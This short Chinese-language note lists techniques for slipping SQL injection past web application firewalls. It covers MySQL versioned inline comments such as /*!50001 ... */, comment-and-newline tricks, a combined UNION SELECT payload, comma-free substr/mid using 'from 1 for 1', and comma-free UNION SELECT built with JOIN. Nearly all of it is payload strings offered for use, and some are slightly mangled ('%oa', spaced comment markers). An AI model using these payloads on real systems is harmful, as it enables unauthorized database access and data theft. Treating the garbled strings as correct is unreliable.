1、大小写【不太行】
2、编码绕过【sql不会处理编码,不太行】
3、注释【可以多尝试】
3.1内联注释
/ * */ ==>内联注释
/ *!*/ ==>取反【就是结果是不注释的】
/ *!50001*/ ==>sql的版本为:5.00.01
- - qwa ==>sql语句的注释
%oa ==>换行
/ *!50001 and 1=1*/ ==>版本如果是5.00.01,那么它会执行注释中的SQL代码
综合如下:
/*!50001 and - - qwa/* %oa 1=2 union select 1,2,3 * /
4、逗号绕过:substr(),limit()
对于substr(),mid()可以使用from 1 for 1来进行绕过
select substr(database() from 1 for 1)
select mid(database() from 1 for 1)
使用join
union select 1,2
union select*from(select 1)a join (select 2)b